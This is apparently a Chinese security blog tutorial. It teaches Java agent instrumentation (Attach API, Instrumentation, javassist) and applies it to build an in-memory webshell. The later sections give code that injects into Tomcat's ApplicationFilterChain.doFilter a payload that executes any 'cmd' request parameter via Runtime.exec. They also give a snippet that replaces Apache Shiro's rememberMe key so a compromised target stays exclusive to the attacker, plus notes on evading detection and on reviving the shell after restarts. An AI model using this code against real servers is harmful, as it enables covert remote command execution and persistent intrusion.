介绍
Java agent
是一种特殊的Java程序(Jar文件),它是Instrumentation
的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API
与虚拟机交互。
在注入内存马的过程中,我们可以利用java instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码。
java作为一种强类型的语言,不通过编译就不能够进行jar包的生成。而有了java agent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以把java agent理解成一种代码注入的方式。但是这种注入比起spring的aop更加的优美。
Java agent的使用方式有两种:
- 实现
premain
方法,在JVM启动前加载。 - 实现
agentmain
方法,在JVM启动后加载。
premain
和agentmain
函数声明如下,拥有Instrumentation inst
参数的方法优先级更高:
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
public static void agentmain(String agentArgs) {
...
}
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
第一个参数String agentArgs
就是Java agent的参数。
第二个参数Instrumentation inst
相当重要,inst 是一个 java.lang.instrument.Instrumentation
的实例,由 JVM 自动传入。java.lang.instrument.Instrumentation
是 instrument
包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。
premain
这里简单的举例说明premain
的使用,创建一个maven项目
编写premain
函数
import java.lang.instrument.Instrumentation;
public class Main {
public static void premain(String agentArgs, Instrumentation inst){
for(int i=0; i < 5; i+=1){
System.out.println("called premain");
}
}
}
在resources
目录下创建META-INF/MANIFEST.MF
,并指定Premain-Class
;要注意的是,最后必须多一个换行。
Manifest-Version: 1.0
Premain-Class: Main
然后打包成jar
文件,在Project Structure
-> Artifacts
-> JAR
-> From modules with dependencies
中配置
默认选项就行
然后选择Build
-> Build Artifacts
-> Build
会在out/artifacts/javaagent_jar
目录下生成对应的jar文件
随便找个jar文件示例,比如我们写个hello word
,使用 -javaagent:agent.jar
参数执行
java -javaagent:javaagent.jar -jar hello.jar
可以发现在hello.jar
输出Hello world
之前就执行了,具体执行流程大致如下
然而这种方法存在一定的局限性:只能在启动时使用-javaagent
参数指定。
在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain
。相比之下,agentmain
更加实用。
agentmain
写一个agentmain
和premain
差不多,只需要在META-INF/MANIFEST.MF
中加入Agent-Class:
即可。
Manifest-Version: 1.0
Agent-Class: AgentMain
不同的是,这种方法不是通过JVM启动前的参数来指定的,官方为了实现启动后加载,提供了Attach API
。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach
包里面。着重关注的是VitualMachine
这个类。
需要依赖
VitualMachine
的loadAgent
达到attach的目的
VirtualMachine
字面意义表示一个Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了获取系统信息、 loadAgent
,attach
和 detach
等方法,可以实现的功能可以说非常之强大 。该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上 。代理类注入操作只是它众多功能中的一个,通过loadAgent
方法向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation
实例。
具体的用法看一下官方给的例子大概就理解了:
// com.sun.tools.attach.VirtualMachine
// 下面的示例演示如何使用VirtualMachine:
// attach to target VM
VirtualMachine vm = VirtualMachine.attach("2177");
// start management agent
Properties props = new Properties();
props.put("com.sun.management.jmxremote.port", "5000");
vm.startManagementAgent(props);
// detach
vm.detach();
// 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。
下面列几个这个类提供的方法:
com.sun.tools.attach.VirtualMachine
public abstract class VirtualMachine {
// 获得当前所有的JVM列表
public static List<VirtualMachineDescriptor> list() { ... }
// 根据pid连接到JVM
public static VirtualMachine attach(String id) { ... }
// 断开连接
public abstract void detach() {}
// 加载agent,agentmain方法靠的就是这个方法
public void loadAgent(String agent) { ... }
}
实现举例
- Attach.java(找到进程,加载
agentMain.jar
)
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
if(args.length == 2){
String pid = args[0];
String jarName = args[1];
System.out.println("attach 的 pid ==> " + pid);
System.out.println("attach 的 jarName ==> " + jarName);
// 连接到JVM
VirtualMachine virtualMachine = VirtualMachine.attach(pid);
// 加载agentmain
virtualMachine.loadAgent(jarName);
// 断开连接
virtualMachine.detach();
System.out.println("ends");
}
else{
System.out.println("至少2个参数");
// 列出所有的jvm
System.out.println(VirtualMachine.list());
}
}
}
- AgentMain.java(想要动态实现的代码)
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) {
for(int i=0; i < 5; i+=1){
System.out.println("called agentmain");
}
}
}
- 可以写一起打包成一个jar,也可以分开打包成2个,问题都不大,只要
MANIFST.MF
没问题就行
Manifest-Version: 1.0
PreMain-Class: PreMain
Agent-Class: AgentMain
Main-Class: Attach
- 找一下想要操作的jvm的pid(也可以用上面的
list()
方法看到pid)
- 配置参数
java -jar attach.jar 63242 agentMain.jar
也可以手动在idea里面配置好
- 运行
- 转到我们想要attach的tomcat中看看效果
Instrumentation
刚才说了第二个参数Instrumentation inst
相当重要,inst 是一个 java.lang.instrument.Instrumentation
的实例,由 JVM 自动传入。java.lang.instrument.Instrumentation
是 instrument
包中定义的一个接口,也是这个包的核心部分,集中了其中几乎所有的功能方法,例如类定义的转换和操作等等。
下面列出这个类的一些方法,更加详细的介绍和方法,可以参照官方文档,也可以看这个类源码里面的说明
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
......
}
获取所有可修改类
先介绍getAllLoadedClasses
和isModifiableClasses
。顾名思义:
getAllLoadedClasses
:获取所有已经加载的类。isModifiableClasses
:判断某个类是否能被修改。
修改刚才的AgentMain.java
,并编译
import java.lang.instrument.Instrumentation;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) {
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class cls : allLoadedClasses){
System.out.println(cls.getName());
System.out.print("isModifiableClass: ");
System.out.println(inst.isModifiableClass(cls)?"true":"false");
}
}
}
修改Attach.java
,并重新attach到jvm中
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
// 列出所有的jvm
System.out.println(VirtualMachine.list());
String pid = "68588";
String jarName = "/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar";
// 连接到JVM
VirtualMachine virtualMachine = VirtualMachine.attach(pid);
// 加载agentmain
virtualMachine.loadAgent(jarName);
// 断开连接
virtualMachine.detach();
System.out.println("ends");
}
}
运行后
得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改
修改类
使用addTransformer()
和retransformClasses()
可以篡改Class的字节码
首先再看一下这两个方法的声明:
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
......
}
在addTransformer()
方法中,有一个参数ClassFileTransformer transformer
。这个参数将帮助我们完成字节码的修改工作。
ClassFileTransformer
ClassFileTransformer
也是一个接口,它提供了transform
方法,此方法的实现可能会转换提供的类文件并返回新的替换类文件。
接口注释简单概括一下:
- 使用
Instrumentation.addTransformer()
来加载一个转换器。 - 转换器的返回结果(
transform()
方法的返回值)将成为转换后的字节码。 - 对于没有加载的类,会使用
ClassLoader.defineClass()
定义它;对于已经加载的类,会使用ClassLoader.redefineClasses()
重新定义,并配合Instrumentation.retransformClasses
进行转换。
现在已经知道了怎样能修改Class的字节码,具体的做法还需要用到另一个类库javassist
来获取字节码,不了解的可以网上找文章了解下,可以简单理解为:通过这个类库可以直接创建一个class字节码文件
javassist
因为我们的目的只是修改某个类的某个方法,所以着重介绍下CtMethod
,其他需要的简单过一下
依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
ClassPool
这个类是javassist
的核心组件之一。
来看一下官方对他的介绍:
ClassPool
是CtClass
对象的容器。CtClass
对象必须从该对象获得。如果get()
在此对象上调用,则它将搜索表示的各种源ClassPath
以查找类文件,然后创建一个CtClass
表示该类文件的对象。创建的对象将返回给调用者。
简单来说,这就是个容器,存放的是CtClass
对象。
获得方法: ClassPool cp = ClassPool.getDefault();
。通过 ClassPool.getDefault()
获取的 ClassPool
使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径。
cp.insertClassPath(new ClassClassPath(<Class>));
CtClass
可以把它理解成加强版的Class
对象,需要从ClassPool
中获得。
获得方法:CtClass cc = cp.get(ClassName)
。
CtMethod
同理,可以理解成加强版的Method
对象。
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)
。
这个类提供了一些方法,使我们可以便捷的修改方法体:
public final class CtMethod extends CtBehavior {
// 主要的内容都在父类 CtBehavior 中
}
// 父类 CtBehavior
public abstract class CtBehavior extends CtMember {
// 设置方法体
public void setBody(String src);
// 插入在方法体最前面
public void insertBefore(String src);
// 插入在方法体最后面
public void insertAfter(String src);
// 在方法体的某一行插入内容
public int insertAt(int lineNum, String src);
}
传递给方法 insertBefore()
,insertAfter()
和 insertAt()
的 String 对象是由Javassist
的编译器编译的。 由于编译器支持语言扩展,以 $ 开头的几个标识符有特殊的含义:
符号 | 含义 |
---|---|
$0 , $1 , $2 , ... |
$0 = this; $1 = args[1] ..... |
$args |
方法参数数组.它的类型为 Object[] |
$$ |
所有实参。例如, m($$) 等价于 m($1,$2, ...) |
$cflow( ...) |
cflow 变量 |
$r |
返回结果的类型,用于强制类型转换 |
$w |
包装器类型,用于强制类型转换 |
$_ |
返回值 |
详细的内容可以看Javassist 使用指南(二)。
示例
举例说明一下是如何动态修改类字节码的
先说2个注意点:
- 如果在使用过程中找不到javassist包中的类(因为目标环境也需要这个类库,不然会找不到Class),那么可以使用URLCLassLoader+反射的方式调用
- 需要在
agent.jar
中的MANIFEST.MF
中添加Can-Retransform-Classes: true
,不然会抛出异常UnmodifiableClassException
- 被动态修改的类源码,其中
Hello
类的hello
方法是我们要动态修改的目标,用Scanner
是为了保证程序不停止,给我们留有操作的时间
// Main.java
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Hello h1 = new Hello();
h1.hello();
System.out.println("等待输入...");
new Scanner(System.in).next();
Hello h2 = new Hello();
h2.hello();
}
}
// Hello.java
public class Hello {
public void hello(){
System.out.println("hello world");
}
}
- 运行并获取pid(69484)
- attach代码还是差不多,主要是给
agent.jar
附加进去
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attach {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
// 列出所有的jvm
System.out.println(VirtualMachine.list());
String pid = "69484";
String jarName = "/Users/d4m1ts/d4m1ts/java/javaagent/out/artifacts/javaagent_jar/javaagent.jar";
// 连接到JVM
VirtualMachine virtualMachine = VirtualMachine.attach(pid);
// 加载agentmain
virtualMachine.loadAgent(jarName);
// 断开连接
virtualMachine.detach();
System.out.println("ends");
}
}
- AgentMain(主要是添加Transformer和触发Transformer)
// AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class cls : allLoadedClasses){
// 定位到类
if (cls.getName() == TransformerDemo.editClassName){
// 添加Transformer
inst.addTransformer(new TransformerDemo(), true);
// 触发Transformer
inst.retransformClasses(cls);
}
}
}
}
// TransformerDemo.java
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象
public class TransformerDemo implements ClassFileTransformer {
public static String editClassName = "Hello";
public static String editMethod = "hello";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
ClassPool classPool = ClassPool.getDefault();
// 添加额外的类搜索路径
if (classBeingRedefined != null){
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}
// 修改方法hello(),返回 byte[] 字节码
try {
CtClass ctClass = classPool.get(editClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
String modifySource = "System.out.println(\"TransformerDemo attached\");";
ctMethod.setBody(modifySource);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return new byte[0];
}
}
- 结果,可以看到第二次执行
hello()
方法时发现该方法被动态的修改了
内存马
既然现在已经能够修改方法体了,那就可以将木马放到某个一定会执行的方法内,这样的话,当访问任意路由的时候,就会调用木马。那么现在的问题就变成了,注入到哪一个类的哪个方法比较好。
众所周知,Spring boot 中内嵌了一个embed Tomcat
作为容器,而在网上流传着很多版本的 Tomcat“无文件”内存马。这些内存马大多数都是通过重写/添加Filter
来实现的。既然Spring boot 使用了Tomcat
,那么能不能照葫芦画瓢,通过Filter
,实现一个Spring boot的内存马呢?当然是可以的。
Spring Boot的Filter
给写的Controller
下个断点,可以看到执行到controller
的时候,会经过很多的doFilter
和internalDoFilter
方法,它们大多来自于ApplicationFilterChain
这个类。
看看ApplicationFilterChain
的doFilter
方法:
@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
@Override
public Void run()
throws ServletException, IOException {
internalDoFilter(req,res);
return null;
}
}
);
} catch (PrivilegedActionException pe) {
......
}
} else {
internalDoFilter(request,response);
}
}
乍一看内容挺多,其实总结下来就是调用this.internalDoFilter()
。所以再来简单看一下internalDoFilter()
方法:
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
......
}
}
这两个个方法拥有Request
和Response
参数。如果能重写其中一个,那就能控制所有的请求和响应!因此,用来作为内存马的入口点简直完美。这里我选择doFilter()
方法,具体原因会在之后提到。
Java agent修改doFilter
注意:
- 每次attach之前,需要访问一下spring的web页面,要让Spring
Initializing Spring DispatcherServlet 'dispatcherServlet'
,加载一下需要的类,不然不会attach成功,因为找不到我们要修改的类,所以也找不到方法,也就无法修改成功- shell中所有类都要用全称,比如
java.io.InputStream
,不然可能会抛出异常- 如果是完全替代方法,记得用{}包裹
- 可能会出现各种
java.lang.NoClassDefFoundError
的问题,跟一下这个断点,就会发现缺少各种各样的class文件,跟了一下,发现可能是动态修改字节码后,整个类的class都会出现异常,太离谱了,也不知道网上的大哥们为啥没遇到- 接上一个问题,动态修改过的class文件反编译后代码是没问题的,但是还是不知道为啥解决不了找不到类定义的问题
对刚才的agent代码稍微修改即可(实在重写不了doFilter
方法了,分析了几天,重写了class就算代码没问题,也会出现java.lang.NoClassDefFoundError
的问题)
并且这里为了不破坏原来的方法结构,我们不用
CtMethod
的setSource
,而是用insertBefore
方法
- AgentMain.java
// AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class cls : allLoadedClasses){
// 定位到类
if (cls.getName() == TransformerDemo.editClassName){
// 添加Transformer
inst.addTransformer(new TransformerDemo(), true);
// 触发Transformer
inst.retransformClasses(cls);
}
}
}
}
// TransformerDemo.java
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
// addTransformer()的第一个参数需要ClassFileTransformer这个类的对象
public class TransformerDemo implements ClassFileTransformer {
public static String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static String editMethod = "doFilter";
public static String memshell = "" +
" javax.servlet.http.HttpServletRequest req = $1;\n" +
" javax.servlet.http.HttpServletResponse res = $2;\n" +
" java.lang.String cmd = req.getParameter(\"cmd\");\n" +
"\n" +
" if (cmd != null){\n" +
" System.out.println(cmd);" +
" try {\n" +
" java.lang.Runtime.getRuntime().exec(cmd);\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
" }\n" +
" else{\n" +
" internalDoFilter(req,res);\n" +
" }\n" +
"";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
ClassPool classPool = ClassPool.getDefault();
// 添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}
// 修改方法doFilter(),返回 byte[] 字节码
try {
CtClass ctClass = classPool.get(editClassName);
CtMethod ctMethod = ctClass.getDeclaredMethod(editMethod);
ctMethod.insertBefore(memshell);
ctClass.writeFile("/Users/d4m1ts/d4m1ts/java/Temp/out/artifacts/temp_jar");
System.out.println(memshell);
System.out.println("injection success");
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (NotFoundException e) {
e.printStackTrace();
} catch (CannotCompileException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
return new byte[0];
}
}
给上面的打包成agent.jar
,然后通过虚拟机attach到spring jvm中,再执行命令即可(理论上是可以的,网上的文章也都可以成功,但我实在是调不出来为啥了)
拓展操作
通过加载agent可以修改很多类的字节码,所以利用起来操作的空间也很大,不仅仅是内存马这一个点。
一个比较多的利用方法,就是修改shiro
的key,这样可以让这个漏洞仅自己可用,避免共享目标权限
重点:
在解析rememberMe的时候,先将其base64解码,然后使用AES解密,在AES解密的时候,会调用org.apache.shiro.mgt.AbstractRememberMeManager#getDecryptionCipherKey()
,更改掉这个函数的返回值,就可以更改解密的密钥。
// 使用insertBefore()
$0.setCipherKey(org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));
// 使用setBody()
return (org.apache.shiro.codec.Base64.decode("4AvVhmFLUs0KTA3Kprsdag=="));
查杀
agent 内存马相比 filter 内存马,会多一步就是我们需要将我们自己的 agent.jar
传到目标上,然后利用代码将 agent.jar
进行注入,注入之后我们就可以将 agent.jar
进行删除,agent 内存马相比 filter 这些内存马相对更难查杀一些
风险
注入agent内存马后,可能存在我上面那种整个网站崩溃的情况;网上有说可能是因为虚拟内存不够了而导致的,但是我设置大了虚拟内存还是不行。。。
所以实战中尽量还是用API型的内存马
内存马复活
换个说法,如何防止内存马重启后失效;
其实也很简单,就是在jvm关闭前,把attach.jar
和agentMain.jar
都写到磁盘上,然后无限调用attach.jar
尝试attach到jvm中;
但是这样感觉更容易被发现了,所谓有得必有失吧emmm